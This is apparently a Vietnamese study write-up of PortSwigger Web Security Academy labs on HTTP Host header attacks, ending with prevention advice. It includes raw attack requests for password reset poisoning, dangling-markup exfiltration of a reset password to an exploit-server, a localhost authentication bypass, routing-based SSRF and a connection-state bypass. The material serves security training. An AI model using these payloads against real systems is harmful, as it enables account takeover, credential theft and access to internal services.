Host header injection là lỗ hổng xảy ra khi ứng dụng web nhận giá trị của HTTP Host header và sử dụng nó một cách không an toàn trong response. Điều này có thể dẫn đến nhiều loại tấn công khác nhau, từ web cache poisoning đến password reset poisoning.
What is the purpose of the HTTP Host header?
Summary
Mục đích của HTTP Host header là giúp xác định component back-end nào mà client muốn giao tiếp. Nếu request không chứa Host header, hoặc nếu Host header bị malformed theo cách nào đó, điều này có thể dẫn đến vấn đề khi routing các request đến ứng dụng đích. Trong quá khứ, sự mơ hồ này không tồn tại vì mỗi địa chỉ IP chỉ host nội dung cho một domain duy nhất. Ngày nay, phần lớn do xu hướng ngày càng tăng của các giải pháp cloud-based và outsourcing phần lớn kiến trúc liên quan, việc nhiều website và ứng dụng có thể truy cập được qua cùng một địa chỉ IP là điều phổ biến. Cách tiếp cận này cũng trở nên phổ biến hơn một phần do cạn kiệt địa chỉ IPv4.
Virtual Hosting
Summary
Một tình huống có thể xảy ra là khi một web server duy nhất host nhiều website hoặc ứng dụng. Đây có thể là nhiều website với một chủ sở hữu, nhưng cũng có thể là các website với chủ sở hữu khác nhau được host trên một nền tảng chung. Điều này ít phổ biến hơn trước đây, nhưng vẫn xảy ra với một số giải pháp SaaS cloud-based. Trong cả hai trường hợp, mặc dù mỗi website riêng biệt này sẽ có domain name khác nhau, tất cả đều chia sẻ địa chỉ IP chung với server. Các website được host theo cách này trên một server duy nhất được gọi là “virtual hosts”. Đối với người dùng bình thường truy cập website, virtual host thường không thể phân biệt được với website được host trên server riêng.
Routing Traffic via an Intermediary
Summary
Một tình huống phổ biến khác là khi các website được host trên các back-end server riêng biệt, nhưng tất cả traffic giữa client và server được route thông qua một hệ thống trung gian. Đây có thể là một load balancer đơn giản hoặc một loại reverse proxy server nào đó. Thiết lập này đặc biệt phổ biến trong các trường hợp client truy cập website thông qua content delivery network (CDN). Trong trường hợp này, mặc dù các website được host trên các back-end server riêng biệt, tất cả domain name của chúng đều resolve về một địa chỉ IP duy nhất của component trung gian. Điều này đặt ra một số thách thức tương tự như virtual hosting vì reverse proxy hoặc load balancer cần biết back-end thích hợp để route mỗi request.
Password Reset Poisoning
Password reset poisoning là một kỹ thuật mà kẻ tấn công có thể manipulate host được sử dụng để tạo URL reset password, thường thông qua Host header. Nếu input từ Host header được sử dụng để tạo URL reset password, kẻ tấn công có thể điều khiển domain nhận được token reset password.
Lab: Password Reset Poisoning via Middleware
Danh sách các header có thể sử dụng:
X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-forwarded: for=Collab;by=Collab;host=Collab
Để hoàn thành lab, có thể sử dụng header X-Forwarded-Host:
POST /forgot-password HTTP/2Host: 0a070087043340558092223400cf008f.web-security-academy.netX-Forwarded-Host: exploit-0a4b00be04f640c9803d2116018400dc.exploit-server.net
Lab: Password Reset Poisoning via Dangling Markup
Khi sử dụng payload trực tiếp ở trên Host header:
POST /forgot-password HTTP/2Host: 0aba00550313b1eb80948569002700e5.web-security-academy.net'><
Khi sử dụng 2 Host header khác nhau thì sẽ không gửi được gói tin. Còn nếu sử dụng 2 Host header giống nhau nhưng không phải là host hợp lệ thì cũng sẽ nhận được response có status code là 504 như trên.
Tuy nhiên, khi sử dụng payload ở phần port của Host header thì lại gửi request thành công:
POST /forgot-password HTTP/2Host: 0aba00550313b1eb80948569002700e5.web-security-academy.net:' x='
Email reset password có nội dung như sau:
Sent: 2025-04-09 12:37:18 +0000From: no-reply@0aba00550313b1eb80948569002700e5.web-security-academy.netTo: wiener@exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.netSubject: Account recovery<p>Hello!</p><p>Please <a href='https://0aba00550313b1eb80948569002700e5.web-security-academy.net:' x='/login'>click here</a> to login with your new password: 5K2wzmzanC</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Có thể thấy, chúng ta đã có thể chèn payload vào nội dung của email.
Với https://exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net/exploit là endpoint của exploit server.
Note
Chú ý rằng ta sử dụng dấu " để có thể lấy được hết nội dung ở sau mà có chứa password.
Mặc dù nội dung của email không hiển thị đầy đủ:
Info
Nội dung thô của email:
<p>Hello!</p><p>Please <a href='https://0aba00550313b1eb80948569002700e5.web-security-academy.net:'></a><img src="https://exploit-0a7a000d03aab1a480ab84c301ec00e5.exploit-server.net/exploit?data=/login'>click here</a> to login with your new password: C7Rn5qKMur</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Dùng password Tu0FzAxjHC để đăng nhập với tài khoản carlos nhằm hoàn thành lab.
Exploiting classic server-side vulnerabilities
Summary
Mọi HTTP header đều là vector tiềm năng để khai thác các lỗ hổng server-side cổ điển, và Host header cũng không ngoại lệ. Ví dụ, chúng ta nên thử các kỹ thuật probing SQL injection thông thường qua Host header. Nếu giá trị của header được truyền vào một câu lệnh SQL, điều này có thể bị khai thác.
Accessing restricted functionality
Nhiều website hạn chế quyền truy cập vào các chức năng nhạy cảm dựa trên việc request có đến từ một nguồn đáng tin cậy hay không. Các biện pháp kiểm soát truy cập dựa trên IP này thường được triển khai bằng cách blacklist một loạt địa chỉ IP hoặc whitelist chỉ những địa chỉ được phép. Điều này hoạt động tốt nếu request đến trực tiếp từ những nguồn này, nhưng tính hiệu quả bị giảm khi có các component trung gian.
Lab: Host Header Authentication Bypass
Khi thử truy cập trang admin thì nhận được response như sau:
HTTP/2 401 UnauthorizedContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 2554...Admin interface only available to local users...
Tuy nhiên, khi thay Host header thành localhost thì response có status code là 200:
GET /admin/delete?username=carlos HTTP/2Host: localhost
Routing-based SSRF
Summary
Các lỗ hổng SSRF cổ điển thường dựa trên XXE hoặc business logic có thể khai thác được để gửi HTTP request đến URL được tạo từ user-controllable input. Mặt khác, routing-based SSRF dựa vào việc khai thác các component trung gian phổ biến trong nhiều kiến trúc cloud-based. Điều này bao gồm load balancer và reverse proxy nội bộ. Mặc dù các component này được triển khai cho các mục đích khác nhau, về cơ bản, chúng nhận request và forward đến back-end thích hợp. Nếu chúng được cấu hình không an toàn để forward request dựa trên Host header chưa được validate, chúng có thể bị manipulate để misroute request đến hệ thống tùy ý do kẻ tấn công lựa chọn.
Cách exploit:
Summary
Chúng ta có thể sử dụng Burp Collaborator để giúp xác định các lỗ hổng này. Nếu chúng ta cung cấp domain của Collaborator server trong Host header và sau đó nhận được DNS lookup từ target server hoặc hệ thống in-path khác, điều này cho thấy chúng ta có thể route request đến các domain tùy ý. Sau khi xác nhận rằng chúng ta có thể thành công manipulate hệ thống trung gian để route request đến arbitrary public server, bước tiếp theo là xem liệu chúng ta có thể khai thác hành vi này để truy cập các hệ thống internal-only hay không.
Lab: Routing-based SSRF
Sử dụng hostname của Collaborator ở trong Host header:
GET /admin HTTP/2Host: kocp4xpewyut7ds2oaczgvgdh4nvblza.oastify.com
GET / HTTP/1.1Host: 0a90000903a18ae081bc3ec8002800dc.web-security-academy.netHost: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.comCookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
Response có sự thay đổi cho thấy rằng việc dùng 2 Host header là không hợp lệ:
HTTP/1.1 400 Bad RequestContent-Type: application/json; charset=utf-8X-Content-Type-Options: nosniffConnection: closeContent-Length: 50{"error":"Duplicate header names are not allowed"}
Thử dùng URL tuyệt đối:
GET https://0a90000903a18ae081bc3ec8002800dc.web-security-academy.net HTTP/1.1Host: jpc8u3iz3g3pupirssz0e8g19sfj3lra.oastify.comCookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3d
Phản hồi cho thấy ta đã có thể gửi request đến Burp Collaborator:
Xây dựng POST request sau để xóa user carlos nhằm hoàn thành lab:
POST https://0a90000903a18ae081bc3ec8002800dc.web-security-academy.net/admin/delete HTTP/1.1Host: 192.168.0.24Cookie: session=o8ZYfR3qlqhNGR0SCwLo15Lc7nxrAZgn; _lab=46%7cMCwCFDv3jLgi2rGorsHQXyYft7BwRa7uAhRm7u0kJ3wLgotw1PIcUNKANhsMSkgkBMeF0iTXwltjJTC%2bL%2fq4e15mGZaaQ5C8oK4N%2f%2b%2f5CVsihZruuaPt7DHlfCSsGKVbP6F%2fsIPaJENgHSd97VjBT0grJoYHN6ZPE%2bkK43Tpy12rmaU%3dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Referer: https://portswigger.net/Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 0csrf=fFqzevZnwJ8vB7RriKy9bE96WfUCGu9j&username=carlos
Connection state attacks
Summary
Vì lý do hiệu suất, nhiều website tái sử dụng connection cho nhiều chu kỳ request/response với cùng một client. Các HTTP server được triển khai kém đôi khi hoạt động dựa trên giả định nguy hiểm rằng một số thuộc tính nhất định, chẳng hạn như Host header, là giống hệt nhau cho tất cả HTTP/1.1 request được gửi qua cùng connection. Điều này có thể đúng với các request được gửi bởi trình duyệt, nhưng không nhất thiết như vậy đối với chuỗi request được gửi từ Burp Repeater. Điều này có thể dẫn đến một số vấn đề tiềm ẩn.
Cách khai thác:
Summary
Ví dụ, đôi khi chúng ta có thể gặp các server chỉ thực hiện validation kỹ lưỡng trên request đầu tiên mà chúng nhận được qua connection mới. Trong trường hợp này, chúng ta có thể bypass validation này bằng cách gửi request ban đầu có vẻ vô hại rồi tiếp theo với request độc hại qua cùng connection.
Lab: Host Validation Bypass via Connection State Attack
Thử gửi request với Host header là payload của Collaborator:
GET / HTTP/1.1Host: xrsmwhkd5u53w3k5u61egmifb6hx51tq.oastify.comCookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLu
Sửa request thứ 2 lại như sau và gửi cả 2 request tương tự như trên để hoàn thành lab:
POST /admin/delete HTTP/1.1Host: 192.168.0.1Cookie: session=B7bDpJQRCLolIwPoT2PvajP00DzzmAiU; _lab=47%7cMC0CFGTcf%2bWqfHkftltyezl5l6BX%2bGh6AhUAhny2vbqJHcRRXO76Q%2fBQg2JP5lnpqlhcQ0191kjLHQSd4FVb0L%2fon7qVEgYCWlf8egBjkUiBibtQkKSepxh%2f4EJx%2fnCwvsCM7FxmBGR13yC%2f11fsVbyCuEyYWsjgA2dcwQtXU%2bDuJ1P8hWLuUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Referer: https://0a96008b033777ff80a46c07005c0077.h1-web-security-academy.net/loginConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 53csrf=SmVcprsrytBHqMVUSF9y7KgTZI0kPkcH&username=carlos
SSRF via a malformed request line
Các proxy tùy chỉnh đôi khi không thể validate request line đúng cách, điều này có thể cho phép bạn cung cấp input bất thường, malformed với kết quả không mong muốn.
Ví dụ, một reverse proxy có thể lấy path từ request line, thêm tiền tố http://backend-server, và route request đến URL upstream đó. Điều này hoạt động tốt nếu path bắt đầu bằng ký tự /, nhưng điều gì sẽ xảy ra nếu nó bắt đầu bằng ký tự @?
GET @private-intranet/example HTTP/1.1
URL upstream kết quả sẽ là http://backend-server@private-intranet/example, mà hầu hết các thư viện HTTP hiểu là một request để truy cập private-intranet với username backend-server.
How to prevent HTTP Host header attacks
Để ngăn chặn Host header injection, cách đơn giản nhất là tránh sử dụng Host header hoàn toàn trong server-side code. Kiểm tra xem có thể hard-code các giá trị tuyệt đối hay không, hoặc reference chúng từ một file cấu hình.
Nếu phải sử dụng Host header, hãy đảm bảo rằng nó được validate đúng cách. Điều này nên bao gồm việc kiểm tra đối với whitelist các domain được phép và từ chối hoặc redirect bất kỳ request nào chứa Host header không mong muốn.
Chúng ta cũng nên cẩn thận với các header có liên quan chẳng hạn như X-Forwarded-Host. Mặc dù các reverse proxy thường strip những header này, nhưng chúng ta không nên dựa vào điều này. Bất kỳ input nào có thể được kiểm soát bởi kẻ tấn công đều có thể tiềm ẩn nguy hiểm.